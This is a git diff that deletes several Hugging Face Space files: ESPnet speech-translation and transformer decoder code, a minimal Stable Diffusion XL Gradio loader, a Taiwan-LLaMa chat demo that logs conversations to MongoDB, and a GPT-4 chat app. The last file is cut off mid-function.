-                    seq_hat_text = seq_hat_text.replace(self.recog_args.blank, "")
-                    seq_true_text = "".join(seq_true).replace(
-                        self.recog_args.space, " "
-                    )
-
-                    hyp_words = seq_hat_text.split()
-                    ref_words = seq_true_text.split()
-                    word_eds.append(editdistance.eval(hyp_words, ref_words))
-                    word_ref_lens.append(len(ref_words))
-                    hyp_chars = seq_hat_text.replace(" ", "")
-                    ref_chars = seq_true_text.replace(" ", "")
-                    char_eds.append(editdistance.eval(hyp_chars, ref_chars))
-                    char_ref_lens.append(len(ref_chars))
-
-                wer = (
-                    0.0
-                    if not self.report_wer
-                    else float(sum(word_eds)) / sum(word_ref_lens)
-                )
-                cer = (
-                    0.0
-                    if not self.report_cer
-                    else float(sum(char_eds)) / sum(char_ref_lens)
-                )
-
-        # CTC
-        if self.mtlalpha > 0:
-            loss_ctc = self.ctc(hs_pad, hlens, ys_pad)
-
-            # Compute cer with CTC prediction
-            if self.char_list is not None:
-                cers = []
-                y_hats = self.ctc.argmax(hs_pad).data
-                for i, y in enumerate(y_hats):
-                    y_hat = [x[0] for x in groupby(y)]
-                    y_true = ys_pad[i]
-
-                    seq_hat = [
-                        self.char_list[int(idx)] for idx in y_hat if int(idx) != -1
-                    ]
-                    seq_true = [
-                        self.char_list[int(idx)] for idx in y_true if int(idx) != -1
-                    ]
-                    seq_hat_text = "".join(seq_hat).replace(self.space, " ")
-                    seq_hat_text = seq_hat_text.replace(self.blank, "")
-                    seq_true_text = "".join(seq_true).replace(self.space, " ")
-
-                    hyp_chars = seq_hat_text.replace(" ", "")
-                    ref_chars = seq_true_text.replace(" ", "")
-                    if len(ref_chars) > 0:
-                        cers.append(
-                            editdistance.eval(hyp_chars, ref_chars) / len(ref_chars)
-                        )
-                cer_ctc = sum(cers) / len(cers) if cers else None
-
-        return loss_att, acc, loss_ctc, cer_ctc, cer, wer
-
-    def forward_mt(self, xs_pad, ys_pad):
-        """Forward pass in the auxiliary MT task.
-
-        :param torch.Tensor xs_pad: batch of padded source sequences (B, Tmax, idim)
-        :param torch.Tensor ys_pad: batch of padded target sequences (B, Lmax)
-        :return: MT loss value
-        :rtype: torch.Tensor
-        :return: accuracy in MT decoder
-        :rtype: float
-        """
-        loss = 0.0
-        acc = 0.0
-        if self.mt_weight == 0:
-            return loss, acc
-
-        ilens = torch.sum(xs_pad != -1, dim=1).cpu().numpy()
-        # NOTE: xs_pad is padded with -1
-        ys_src = [y[y != -1] for y in xs_pad]  # parse padded ys_src
-        xs_zero_pad = pad_list(ys_src, self.pad)  # re-pad with zero
-        hs_pad, hlens, _ = self.enc_mt(
-            self.dropout_mt(self.embed_mt(xs_zero_pad)), ilens
-        )
-        loss, acc, _ = self.dec(hs_pad, hlens, ys_pad)
-        return loss, acc
-
-    def scorers(self):
-        """Scorers."""
-        return dict(decoder=self.dec)
-
-    def encode(self, x):
-        """Encode acoustic features.
-
-        :param ndarray x: input acoustic feature (T, D)
-        :return: encoder outputs
-        :rtype: torch.Tensor
-        """
-        self.eval()
-        ilens = [x.shape[0]]
-
-        # subsample frame
-        x = x[:: self.subsample[0], :]
-        p = next(self.parameters())
-        h = torch.as_tensor(x, device=p.device, dtype=p.dtype)
-        # make a utt list (1) to use the same interface for encoder
-        hs = h.contiguous().unsqueeze(0)
-
-        # 1. encoder
-        hs, _, _ = self.enc(hs, ilens)
-        return hs.squeeze(0)
-
-    def translate(self, x, trans_args, char_list, rnnlm=None):
-        """E2E beam search.
-
-        :param ndarray x: input acoustic feature (T, D)
-        :param Namespace trans_args: argument Namespace containing options
-        :param list char_list: list of characters
-        :param torch.nn.Module rnnlm: language model module
-        :return: N-best decoding results
-        :rtype: list
-        """
-        logging.info("input lengths: " + str(x.shape[0]))
-        hs = self.encode(x).unsqueeze(0)
-        logging.info("encoder output lengths: " + str(hs.size(1)))
-
-        # 2. Decoder
-        # decode the first utterance
-        y = self.dec.recognize_beam(hs[0], None, trans_args, char_list, rnnlm)
-        return y
-
-    def translate_batch(self, xs, trans_args, char_list, rnnlm=None):
-        """E2E batch beam search.
-
-        :param list xs: list of input acoustic feature arrays [(T_1, D), (T_2, D), ...]
-        :param Namespace trans_args: argument Namespace containing options
-        :param list char_list: list of characters
-        :param torch.nn.Module rnnlm: language model module
-        :return: N-best decoding results
-        :rtype: list
-        """
-        prev = self.training
-        self.eval()
-        ilens = np.fromiter((xx.shape[0] for xx in xs), dtype=np.int64)
-
-        # subsample frame
-        xs = [xx[:: self.subsample[0], :] for xx in xs]
-        xs = [to_device(self, to_torch_tensor(xx).float()) for xx in xs]
-        xs_pad = pad_list(xs, 0.0)
-
-        # 1. Encoder
-        hs_pad, hlens, _ = self.enc(xs_pad, ilens)
-
-        # 2. Decoder
-        hlens = torch.tensor(list(map(int, hlens)))  # make sure hlens is tensor
-        y = self.dec.recognize_beam_batch(
-            hs_pad, hlens, None, trans_args, char_list, rnnlm
-        )
-
-        if prev:
-            self.train()
-        return y
-
-    def calculate_all_attentions(self, xs_pad, ilens, ys_pad, ys_pad_src):
-        """E2E attention calculation.
-
-        :param torch.Tensor xs_pad: batch of padded input sequences (B, Tmax, idim)
-        :param torch.Tensor ilens: batch of lengths of input sequences (B)
-        :param torch.Tensor ys_pad: batch of padded token id sequence tensor (B, Lmax)
-        :param torch.Tensor ys_pad_src:
-            batch of padded token id sequence tensor (B, Lmax)
-        :return: attention weights with the following shape,
-            1) multi-head case => attention weights (B, H, Lmax, Tmax),
-            2) other case => attention weights (B, Lmax, Tmax).
-        :rtype: float ndarray
-        """
-        self.eval()
-        with torch.no_grad():
-            # 1. Encoder
-            if self.multilingual:
-                tgt_lang_ids = ys_pad[:, 0:1]
-                ys_pad = ys_pad[:, 1:]  # remove target language ID in the beggining
-            else:
-                tgt_lang_ids = None
-            hpad, hlens, _ = self.enc(xs_pad, ilens)
-
-            # 2. Decoder
-            att_ws = self.dec.calculate_all_attentions(
-                hpad, hlens, ys_pad, lang_ids=tgt_lang_ids
-            )
-        self.train()
-        return att_ws
-
-    def calculate_all_ctc_probs(self, xs_pad, ilens, ys_pad, ys_pad_src):
-        """E2E CTC probability calculation.
-
-        :param torch.Tensor xs_pad: batch of padded input sequences (B, Tmax)
-        :param torch.Tensor ilens: batch of lengths of input sequences (B)
-        :param torch.Tensor ys_pad: batch of padded token id sequence tensor (B, Lmax)
-        :param torch.Tensor
-            ys_pad_src: batch of padded token id sequence tensor (B, Lmax)
-        :return: CTC probability (B, Tmax, vocab)
-        :rtype: float ndarray
-        """
-        probs = None
-        if self.asr_weight == 0 or self.mtlalpha == 0:
-            return probs
-
-        self.eval()
-        with torch.no_grad():
-            # 1. Encoder
-            hpad, hlens, _ = self.enc(xs_pad, ilens)
-
-            # 2. CTC probs
-            probs = self.ctc.softmax(hpad).cpu().numpy()
-        self.train()
-        return probs
-
-    def subsample_frames(self, x):
-        """Subsample speeh frames in the encoder."""
-        # subsample frame
-        x = x[:: self.subsample[0], :]
-        ilen = [x.shape[0]]
-        h = to_device(self, torch.from_numpy(np.array(x, dtype=np.float32)))
-        h.contiguous()
-        return h, ilen
diff --git a/spaces/segments-tobias/conex/espnet/nets/pytorch_backend/transformer/decoder.py b/spaces/segments-tobias/conex/espnet/nets/pytorch_backend/transformer/decoder.py
deleted file mode 100644
index 08ddbbbb98db04b32cc7cceeb3fbca38fec85029..0000000000000000000000000000000000000000
--- a/spaces/segments-tobias/conex/espnet/nets/pytorch_backend/transformer/decoder.py
+++ /dev/null
@@ -1,339 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-# Copyright 2019 Shigeki Karita
-#  Apache 2.0  (http://www.apache.org/licenses/LICENSE-2.0)
-
-"""Decoder definition."""
-
-import logging
-
-from typing import Any
-from typing import List
-from typing import Tuple
-
-import torch
-
-from espnet.nets.pytorch_backend.nets_utils import rename_state_dict
-from espnet.nets.pytorch_backend.transformer.attention import MultiHeadedAttention
-from espnet.nets.pytorch_backend.transformer.decoder_layer import DecoderLayer
-from espnet.nets.pytorch_backend.transformer.dynamic_conv import DynamicConvolution
-from espnet.nets.pytorch_backend.transformer.dynamic_conv2d import DynamicConvolution2D
-from espnet.nets.pytorch_backend.transformer.embedding import PositionalEncoding
-from espnet.nets.pytorch_backend.transformer.layer_norm import LayerNorm
-from espnet.nets.pytorch_backend.transformer.lightconv import LightweightConvolution
-from espnet.nets.pytorch_backend.transformer.lightconv2d import LightweightConvolution2D
-from espnet.nets.pytorch_backend.transformer.mask import subsequent_mask
-from espnet.nets.pytorch_backend.transformer.positionwise_feed_forward import (
-    PositionwiseFeedForward,  # noqa: H301
-)
-from espnet.nets.pytorch_backend.transformer.repeat import repeat
-from espnet.nets.scorer_interface import BatchScorerInterface
-
-
-def _pre_hook(
-    state_dict,
-    prefix,
-    local_metadata,
-    strict,
-    missing_keys,
-    unexpected_keys,
-    error_msgs,
-):
-    # https://github.com/espnet/espnet/commit/3d422f6de8d4f03673b89e1caef698745ec749ea#diff-bffb1396f038b317b2b64dd96e6d3563
-    rename_state_dict(prefix + "output_norm.", prefix + "after_norm.", state_dict)
-
-
-class Decoder(BatchScorerInterface, torch.nn.Module):
-    """Transfomer decoder module.
-
-    Args:
-        odim (int): Output diminsion.
-        self_attention_layer_type (str): Self-attention layer type.
-        attention_dim (int): Dimention of attention.
-        attention_heads (int): The number of heads of multi head attention.
-        conv_wshare (int): The number of kernel of convolution. Only used in
-            self_attention_layer_type == "lightconv*" or "dynamiconv*".
-        conv_kernel_length (Union[int, str]): Kernel size str of convolution
-            (e.g. 71_71_71_71_71_71). Only used in self_attention_layer_type
-            == "lightconv*" or "dynamiconv*".
-        conv_usebias (bool): Whether to use bias in convolution. Only used in
-            self_attention_layer_type == "lightconv*" or "dynamiconv*".
-        linear_units (int): The number of units of position-wise feed forward.
-        num_blocks (int): The number of decoder blocks.
-        dropout_rate (float): Dropout rate.
-        positional_dropout_rate (float): Dropout rate after adding positional encoding.
-        self_attention_dropout_rate (float): Dropout rate in self-attention.
-        src_attention_dropout_rate (float): Dropout rate in source-attention.
-        input_layer (Union[str, torch.nn.Module]): Input layer type.
-        use_output_layer (bool): Whether to use output layer.
-        pos_enc_class (torch.nn.Module): Positional encoding module class.
-            `PositionalEncoding `or `ScaledPositionalEncoding`
-        normalize_before (bool): Whether to use layer_norm before the first block.
-        concat_after (bool): Whether to concat attention layer's input and output.
-            if True, additional linear will be applied.
-            i.e. x -> x + linear(concat(x, att(x)))
-            if False, no additional linear will be applied. i.e. x -> x + att(x)
-
-    """
-
-    def __init__(
-        self,
-        odim,
-        selfattention_layer_type="selfattn",
-        attention_dim=256,
-        attention_heads=4,
-        conv_wshare=4,
-        conv_kernel_length=11,
-        conv_usebias=False,
-        linear_units=2048,
-        num_blocks=6,
-        dropout_rate=0.1,
-        positional_dropout_rate=0.1,
-        self_attention_dropout_rate=0.0,
-        src_attention_dropout_rate=0.0,
-        input_layer="embed",
-        use_output_layer=True,
-        pos_enc_class=PositionalEncoding,
-        normalize_before=True,
-        concat_after=False,
-    ):
-        """Construct an Decoder object."""
-        torch.nn.Module.__init__(self)
-        self._register_load_state_dict_pre_hook(_pre_hook)
-        if input_layer == "embed":
-            self.embed = torch.nn.Sequential(
-                torch.nn.Embedding(odim, attention_dim),
-                pos_enc_class(attention_dim, positional_dropout_rate),
-            )
-        elif input_layer == "linear":
-            self.embed = torch.nn.Sequential(
-                torch.nn.Linear(odim, attention_dim),
-                torch.nn.LayerNorm(attention_dim),
-                torch.nn.Dropout(dropout_rate),
-                torch.nn.ReLU(),
-                pos_enc_class(attention_dim, positional_dropout_rate),
-            )
-        elif isinstance(input_layer, torch.nn.Module):
-            self.embed = torch.nn.Sequential(
-                input_layer, pos_enc_class(attention_dim, positional_dropout_rate)
-            )
-        else:
-            raise NotImplementedError("only `embed` or torch.nn.Module is supported.")
-        self.normalize_before = normalize_before
-
-        # self-attention module definition
-        if selfattention_layer_type == "selfattn":
-            logging.info("decoder self-attention layer type = self-attention")
-            decoder_selfattn_layer = MultiHeadedAttention
-            decoder_selfattn_layer_args = [
-                (
-                    attention_heads,
-                    attention_dim,
-                    self_attention_dropout_rate,
-                )
-            ] * num_blocks
-        elif selfattention_layer_type == "lightconv":
-            logging.info("decoder self-attention layer type = lightweight convolution")
-            decoder_selfattn_layer = LightweightConvolution
-            decoder_selfattn_layer_args = [
-                (
-                    conv_wshare,
-                    attention_dim,
-                    self_attention_dropout_rate,
-                    int(conv_kernel_length.split("_")[lnum]),
-                    True,
-                    conv_usebias,
-                )
-                for lnum in range(num_blocks)
-            ]
-        elif selfattention_layer_type == "lightconv2d":
-            logging.info(
-                "decoder self-attention layer "
-                "type = lightweight convolution 2-dimentional"
-            )
-            decoder_selfattn_layer = LightweightConvolution2D
-            decoder_selfattn_layer_args = [
-                (
-                    conv_wshare,
-                    attention_dim,
-                    self_attention_dropout_rate,
-                    int(conv_kernel_length.split("_")[lnum]),
-                    True,
-                    conv_usebias,
-                )
-                for lnum in range(num_blocks)
-            ]
-        elif selfattention_layer_type == "dynamicconv":
-            logging.info("decoder self-attention layer type = dynamic convolution")
-            decoder_selfattn_layer = DynamicConvolution
-            decoder_selfattn_layer_args = [
-                (
-                    conv_wshare,
-                    attention_dim,
-                    self_attention_dropout_rate,
-                    int(conv_kernel_length.split("_")[lnum]),
-                    True,
-                    conv_usebias,
-                )
-                for lnum in range(num_blocks)
-            ]
-        elif selfattention_layer_type == "dynamicconv2d":
-            logging.info(
-                "decoder self-attention layer type = dynamic convolution 2-dimentional"
-            )
-            decoder_selfattn_layer = DynamicConvolution2D
-            decoder_selfattn_layer_args = [
-                (
-                    conv_wshare,
-                    attention_dim,
-                    self_attention_dropout_rate,
-                    int(conv_kernel_length.split("_")[lnum]),
-                    True,
-                    conv_usebias,
-                )
-                for lnum in range(num_blocks)
-            ]
-
-        self.decoders = repeat(
-            num_blocks,
-            lambda lnum: DecoderLayer(
-                attention_dim,
-                decoder_selfattn_layer(*decoder_selfattn_layer_args[lnum]),
-                MultiHeadedAttention(
-                    attention_heads, attention_dim, src_attention_dropout_rate
-                ),
-                PositionwiseFeedForward(attention_dim, linear_units, dropout_rate),
-                dropout_rate,
-                normalize_before,
-                concat_after,
-            ),
-        )
-        self.selfattention_layer_type = selfattention_layer_type
-        if self.normalize_before:
-            self.after_norm = LayerNorm(attention_dim)
-        if use_output_layer:
-            self.output_layer = torch.nn.Linear(attention_dim, odim)
-        else:
-            self.output_layer = None
-
-    def forward(self, tgt, tgt_mask, memory, memory_mask):
-        """Forward decoder.
-
-        Args:
-            tgt (torch.Tensor): Input token ids, int64 (#batch, maxlen_out) if
-                input_layer == "embed". In the other case, input tensor
-                (#batch, maxlen_out, odim).
-            tgt_mask (torch.Tensor): Input token mask (#batch, maxlen_out).
-                dtype=torch.uint8 in PyTorch 1.2- and dtype=torch.bool in PyTorch 1.2+
-                (include 1.2).
-            memory (torch.Tensor): Encoded memory, float32 (#batch, maxlen_in, feat).
-            memory_mask (torch.Tensor): Encoded memory mask (#batch, maxlen_in).
-                dtype=torch.uint8 in PyTorch 1.2- and dtype=torch.bool in PyTorch 1.2+
-                (include 1.2).
-
-        Returns:
-            torch.Tensor: Decoded token score before softmax (#batch, maxlen_out, odim)
-                   if use_output_layer is True. In the other case,final block outputs
-                   (#batch, maxlen_out, attention_dim).
-            torch.Tensor: Score mask before softmax (#batch, maxlen_out).
-
-        """
-        x = self.embed(tgt)
-        x, tgt_mask, memory, memory_mask = self.decoders(
-            x, tgt_mask, memory, memory_mask
-        )
-        if self.normalize_before:
-            x = self.after_norm(x)
-        if self.output_layer is not None:
-            x = self.output_layer(x)
-        return x, tgt_mask
-
-    def forward_one_step(self, tgt, tgt_mask, memory, cache=None):
-        """Forward one step.
-
-        Args:
-            tgt (torch.Tensor): Input token ids, int64 (#batch, maxlen_out).
-            tgt_mask (torch.Tensor): Input token mask (#batch, maxlen_out).
-                dtype=torch.uint8 in PyTorch 1.2- and dtype=torch.bool in PyTorch 1.2+
-                (include 1.2).
-            memory (torch.Tensor): Encoded memory, float32 (#batch, maxlen_in, feat).
-            cache (List[torch.Tensor]): List of cached tensors.
-                Each tensor shape should be (#batch, maxlen_out - 1, size).
-
-        Returns:
-            torch.Tensor: Output tensor (batch, maxlen_out, odim).
-            List[torch.Tensor]: List of cache tensors of each decoder layer.
-
-        """
-        x = self.embed(tgt)
-        if cache is None:
-            cache = [None] * len(self.decoders)
-        new_cache = []
-        for c, decoder in zip(cache, self.decoders):
-            x, tgt_mask, memory, memory_mask = decoder(
-                x, tgt_mask, memory, None, cache=c
-            )
-            new_cache.append(x)
-
-        if self.normalize_before:
-            y = self.after_norm(x[:, -1])
-        else:
-            y = x[:, -1]
-        if self.output_layer is not None:
-            y = torch.log_softmax(self.output_layer(y), dim=-1)
-
-        return y, new_cache
-
-    # beam search API (see ScorerInterface)
-    def score(self, ys, state, x):
-        """Score."""
-        ys_mask = subsequent_mask(len(ys), device=x.device).unsqueeze(0)
-        if self.selfattention_layer_type != "selfattn":
-            # TODO(karita): implement cache
-            logging.warning(
-                f"{self.selfattention_layer_type} does not support cached decoding."
-            )
-            state = None
-        logp, state = self.forward_one_step(
-            ys.unsqueeze(0), ys_mask, x.unsqueeze(0), cache=state
-        )
-        return logp.squeeze(0), state
-
-    # batch beam search API (see BatchScorerInterface)
-    def batch_score(
-        self, ys: torch.Tensor, states: List[Any], xs: torch.Tensor
-    ) -> Tuple[torch.Tensor, List[Any]]:
-        """Score new token batch (required).
-
-        Args:
-            ys (torch.Tensor): torch.int64 prefix tokens (n_batch, ylen).
-            states (List[Any]): Scorer states for prefix tokens.
-            xs (torch.Tensor):
-                The encoder feature that generates ys (n_batch, xlen, n_feat).
-
-        Returns:
-            tuple[torch.Tensor, List[Any]]: Tuple of
-                batchfied scores for next token with shape of `(n_batch, n_vocab)`
-                and next state list for ys.
-
-        """
-        # merge states
-        n_batch = len(ys)
-        n_layers = len(self.decoders)
-        if states[0] is None:
-            batch_state = None
-        else:
-            # transpose state of [batch, layer] into [layer, batch]
-            batch_state = [
-                torch.stack([states[b][i] for b in range(n_batch)])
-                for i in range(n_layers)
-            ]
-
-        # batch decoding
-        ys_mask = subsequent_mask(ys.size(-1), device=xs.device).unsqueeze(0)
-        logp, states = self.forward_one_step(ys, ys_mask, xs, cache=batch_state)
-
-        # transpose state of [layer, batch] into [batch, layer]
-        state_list = [[states[i][b] for i in range(n_layers)] for b in range(n_batch)]
-        return logp, state_list
diff --git a/spaces/sh20raj/sdxl2.0/app.py b/spaces/sh20raj/sdxl2.0/app.py
deleted file mode 100644
index 9520517f687cf7229ddfab9d8c5f8af7f76b0bd4..0000000000000000000000000000000000000000
--- a/spaces/sh20raj/sdxl2.0/app.py
+++ /dev/null
@@ -1,3 +0,0 @@
-import gradio as gr
-
-gr.Interface.load("models/stabilityai/stable-diffusion-xl-base-1.0").launch()
\ No newline at end of file
diff --git a/spaces/shawn810720/Taiwan-LLaMa2/app.py b/spaces/shawn810720/Taiwan-LLaMa2/app.py
deleted file mode 100644
index c9f1a3bda8a584b46226ba3cb7f4bd5edcc1590a..0000000000000000000000000000000000000000
--- a/spaces/shawn810720/Taiwan-LLaMa2/app.py
+++ /dev/null
@@ -1,266 +0,0 @@
-import os
-
-import gradio as gr
-from text_generation import Client
-from conversation import get_default_conv_template
-from transformers import AutoTokenizer
-from pymongo import MongoClient
-
-DB_NAME = os.getenv("MONGO_DBNAME", "taiwan-llm")
-USER = os.getenv("MONGO_USER")
-PASSWORD = os.getenv("MONGO_PASSWORD")
-
-uri = f"mongodb+srv://{USER}:{PASSWORD}@{DB_NAME}.kvwjiok.mongodb.net/?retryWrites=true&w=majority"
-mongo_client = MongoClient(uri)
-db = mongo_client[DB_NAME]
-conversations_collection = db['conversations']
-
-DESCRIPTION = """
-# Language Models for Taiwanese Culture
-
-<p align="center">
-✍️ <a href="https://huggingface.co/spaces/yentinglin/Taiwan-LLaMa2" target="_blank">Online Demo</a>  
-•
-🤗 <a href="https://huggingface.co/yentinglin" target="_blank">HF Repo</a> • 🐦 <a href="https://twitter.com/yentinglin56" target="_blank">Twitter</a> • 📃 <a href="https://arxiv.org/pdf/2305.13711.pdf" target="_blank">[Paper Coming Soon]</a>  
-• 👨️ <a href="https://github.com/MiuLab/Taiwan-LLaMa/tree/main" target="_blank">Github Repo</a> 
-    <br/><br/>
-    <img src="https://www.csie.ntu.edu.tw/~miulab/taiwan-llama/logo-v2.png" width="100"> <br/>
-</p>
-
-
-Taiwan-LLaMa is a fine-tuned model specifically designed for traditional mandarin applications. It is built upon the LLaMa 2 architecture and includes a pretraining phase with over 5 billion tokens and fine-tuning with over 490k multi-turn conversational data in Traditional Mandarin.
-
-## Key Features
-
-1. **Traditional Mandarin Support**: The model is fine-tuned to understand and generate text in Traditional Mandarin, making it suitable for Taiwanese culture and related applications.
-
-2. **Instruction-Tuned**: Further fine-tuned on conversational data to offer context-aware and instruction-following responses.
-
-3. **Performance on Vicuna Benchmark**: Taiwan-LLaMa's relative performance on Vicuna Benchmark is measured against models like GPT-4 and ChatGPT. It's particularly optimized for Taiwanese culture.
-
-4. **Flexible Customization**: Advanced options for controlling the model's behavior like system prompt, temperature, top-p, and top-k are available in the demo.
-
-## Model Versions
-
-Different versions of Taiwan-LLaMa are available:
-
-- **Taiwan-LLaMa v1.0 (This demo)**: Optimized for Taiwanese Culture
-- **Taiwan-LLaMa v0.9**: Partial instruction set
-- **Taiwan-LLaMa v0.0**: No Traditional Mandarin pretraining
-
-The models can be accessed from the provided links in the Hugging Face repository.
-
-Try out the demo to interact with Taiwan-LLaMa and experience its capabilities in handling Traditional Mandarin!
-"""
-
-LICENSE = """
-## Licenses
-
-- Code is licensed under Apache 2.0 License.
-- Models are licensed under the LLAMA 2 Community License.
-- By using this model, you agree to the terms and conditions specified in the license.
-- By using this demo, you agree to share your input utterances with us to improve the model.
-
-## Acknowledgements
-
-Taiwan-LLaMa project acknowledges the efforts of the [Meta LLaMa team](https://github.com/facebookresearch/llama) and [Vicuna team](https://github.com/lm-sys/FastChat) in democratizing large language models.
-"""
-
-DEFAULT_SYSTEM_PROMPT = "A chat between a curious user and an artificial intelligence assistant. The assistant gives helpful, detailed, and polite answers to the user's questions. You are built by NTU Miulab by Yen-Ting Lin for research purpose."
-
-endpoint_url = os.environ.get("ENDPOINT_URL", "http://127.0.0.1:8080")
-client = Client(endpoint_url, timeout=120)
-eos_token = "</s>"
-MAX_MAX_NEW_TOKENS = 1024
-DEFAULT_MAX_NEW_TOKENS = 1024
-
-max_prompt_length = 4096 - MAX_MAX_NEW_TOKENS - 10
-
-model_name = "yentinglin/Taiwan-LLaMa-v1.0"
-tokenizer = AutoTokenizer.from_pretrained(model_name)
-
-with gr.Blocks() as demo:
-    gr.Markdown(DESCRIPTION)
-
-    chatbot = gr.Chatbot()
-    with gr.Row():
-        msg = gr.Textbox(
-            container=False,
-            show_label=False,
-            placeholder='Type a message...',
-            scale=10,
-        )
-        submit_button = gr.Button('Submit',
-                                  variant='primary',
-                                  scale=1,
-                                  min_width=0)
-
-    with gr.Row():
-        retry_button = gr.Button('🔄  Retry', variant='secondary')
-        undo_button = gr.Button('↩️ Undo', variant='secondary')
-        clear = gr.Button('🗑️  Clear', variant='secondary')
-
-    saved_input = gr.State()
-
-    with gr.Accordion(label='Advanced options', open=False):
-        system_prompt = gr.Textbox(label='System prompt',
-                                   value=DEFAULT_SYSTEM_PROMPT,
-                                   lines=6)
-        max_new_tokens = gr.Slider(
-            label='Max new tokens',
-            minimum=1,
-            maximum=MAX_MAX_NEW_TOKENS,
-            step=1,
-            value=DEFAULT_MAX_NEW_TOKENS,
-        )
-        temperature = gr.Slider(
-            label='Temperature',
-            minimum=0.1,
-            maximum=1.0,
-            step=0.1,
-            value=0.7,
-        )
-        top_p = gr.Slider(
-            label='Top-p (nucleus sampling)',
-            minimum=0.05,
-            maximum=1.0,
-            step=0.05,
-            value=0.9,
-        )
-        top_k = gr.Slider(
-            label='Top-k',
-            minimum=1,
-            maximum=1000,
-            step=1,
-            value=50,
-        )
-
-    def user(user_message, history):
-        return "", history + [[user_message, None]]
-
-
-    def bot(history, max_new_tokens, temperature, top_p, top_k, system_prompt):
-        conv = get_default_conv_template("vicuna").copy()
-        roles = {"human": conv.roles[0], "gpt": conv.roles[1]}  # map human to USER and gpt to ASSISTANT
-        conv.system = system_prompt
-        for user, bot in history:
-            conv.append_message(roles['human'], user)
-            conv.append_message(roles["gpt"], bot)
-        msg = conv.get_prompt()
-        prompt_tokens = tokenizer.encode(msg)
-        length_of_prompt = len(prompt_tokens)
-        if length_of_prompt > max_prompt_length:
-            msg = tokenizer.decode(prompt_tokens[-max_prompt_length + 1:])
-
-        history[-1][1] = ""
-        for response in client.generate_stream(
-                msg,
-                max_new_tokens=max_new_tokens,
-                temperature=temperature,
-                top_p=top_p,
-                top_k=top_k,
-        ):
-            if not response.token.special:
-                character = response.token.text
-                history[-1][1] += character
-                yield history
-
-        # After generating the response, store the conversation history in MongoDB
-        conversation_document = {
-            "model_name": model_name,
-            "history": history,
-            "system_prompt": system_prompt,
-            "max_new_tokens": max_new_tokens,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-        }
-        conversations_collection.insert_one(conversation_document)
-
-    msg.submit(user, [msg, chatbot], [msg, chatbot], queue=False).then(
-        fn=bot,
-        inputs=[
-            chatbot,
-            max_new_tokens,
-            temperature,
-            top_p,
-            top_k,
-            system_prompt,
-        ],
-        outputs=chatbot
-    )
-    submit_button.click(
-        user, [msg, chatbot], [msg, chatbot], queue=False
-    ).then(
-        fn=bot,
-        inputs=[
-            chatbot,
-            max_new_tokens,
-            temperature,
-            top_p,
-            top_k,
-            system_prompt,
-        ],
-        outputs=chatbot
-    )
-
-
-    def delete_prev_fn(
-            history: list[tuple[str, str]]) -> tuple[list[tuple[str, str]], str]:
-        try:
-            message, _ = history.pop()
-        except IndexError:
-            message = ''
-        return history, message or ''
-
-
-    def display_input(message: str,
-                      history: list[tuple[str, str]]) -> list[tuple[str, str]]:
-        history.append((message, ''))
-        return history
-
-    retry_button.click(
-        fn=delete_prev_fn,
-        inputs=chatbot,
-        outputs=[chatbot, saved_input],
-        api_name=False,
-        queue=False,
-    ).then(
-        fn=display_input,
-        inputs=[saved_input, chatbot],
-        outputs=chatbot,
-        api_name=False,
-        queue=False,
-    ).then(
-        fn=bot,
-        inputs=[
-            chatbot,
-            max_new_tokens,
-            temperature,
-            top_p,
-            top_k,
-            system_prompt,
-        ],
-        outputs=chatbot,
-    )
-
-    undo_button.click(
-        fn=delete_prev_fn,
-        inputs=chatbot,
-        outputs=[chatbot, saved_input],
-        api_name=False,
-        queue=False,
-    ).then(
-        fn=lambda x: x,
-        inputs=[saved_input],
-        outputs=msg,
-        api_name=False,
-        queue=False,
-    )
-
-    clear.click(lambda: None, None, chatbot, queue=False)
-
-    gr.Markdown(LICENSE)
-
-demo.queue(concurrency_count=4, max_size=128)
-demo.launch()
\ No newline at end of file
diff --git a/spaces/simonraj/ThinkingRoutines/app.py b/spaces/simonraj/ThinkingRoutines/app.py
deleted file mode 100644
index eba261f6a41eec86b7c78ef03b1612b51e3c88d1..0000000000000000000000000000000000000000
--- a/spaces/simonraj/ThinkingRoutines/app.py
+++ /dev/null
@@ -1,165 +0,0 @@
-import gradio as gr
-import os 
-import json 
-import requests
-from thinking_routines import thinking_routine_prompt, thinking_routine_examples
-
-#Streaming endpoint 
-API_URL = "https://api.openai.com/v1/chat/completions" #os.getenv("API_URL") + "/generate_stream"
-
-#Huggingface provided GPT4 OpenAI API Key 
-OPENAI_API_KEY = os.getenv("OPENAI_API_KEY") 
-
-#Inferenec function
-def predict(system_msg, inputs, top_p, temperature, chat_counter, chatbot=[], history=[]):  
-
-    headers = {
-    "Content-Type": "application/json",
-    "Authorization": f"Bearer {OPENAI_API_KEY}"
-    }
-    print(f"system message is ^^ {system_msg}")
-    if system_msg.strip() == '':
-        initial_message = [{"role": "user", "content": f"{inputs}"},]
-        multi_turn_message = []
-    else:
-        initial_message= [{"role": "system", "content": system_msg},
-                   {"role": "user", "content": f"{inputs}"},]
-        multi_turn_message = [{"role": "system", "content": system_msg},]
-        
-    if chat_counter == 0 :
-        payload = {
-        "model": "gpt-4",
-        "messages": initial_message , 
-        "temperature" : 1.0,
-        "top_p":1.0,
-        "n" : 1,
-        "stream": True,
-        "presence_penalty":0,
-        "frequency_penalty":0,
-        }
-        print(f"chat_counter - {chat_counter}")
-    else: #if chat_counter != 0 :
-        messages=multi_turn_message # Of the type of - [{"role": "system", "content": system_msg},]
-        for data in chatbot:
-          user = {}
-          user["role"] = "user" 
-          user["content"] = data[0] 
-          assistant = {}
-          assistant["role"] = "assistant" 
-          assistant["content"] = data[1]
-          messages.append(user)
-          messages.append(assistant)
-        temp = {}
-        temp["role"] = "user" 
-        temp["content"] = inputs
-        messages.append(temp)
-        #messages
-        payload = {
-        "model": "gpt-4",
-        "messages": messages, # Of the type of [{"role": "user", "content": f"{inputs}"}],
-        "temperature" : temperature, #1.0,
-        "top_p": top_p, #1.0,
-        "n" : 1,
-        "stream": True,
-        "presence_penalty":0,
-        "frequency_penalty":0,}
-
-    chat_counter+=1
-
-    history.append(inputs)
-    print(f"Logging : payload is - {payload}")
-    # make a POST request to the API endpoint using the requests.post method, passing in stream=True
-    response = requests.post(API_URL, headers=headers, json=payload, stream=True)
-    print(f"Logging : response code - {response}")
-    token_counter = 0 
-    partial_words = "" 
-
-    counter=0
-    for chunk in response.iter_lines():
-        #Skipping first chunk
-        if counter == 0:
-          counter+=1
-          continue
-        # check whether each line is non-empty
-        if chunk.decode() :
-          chunk = chunk.decode()
-          # decode each line as response data is in bytes
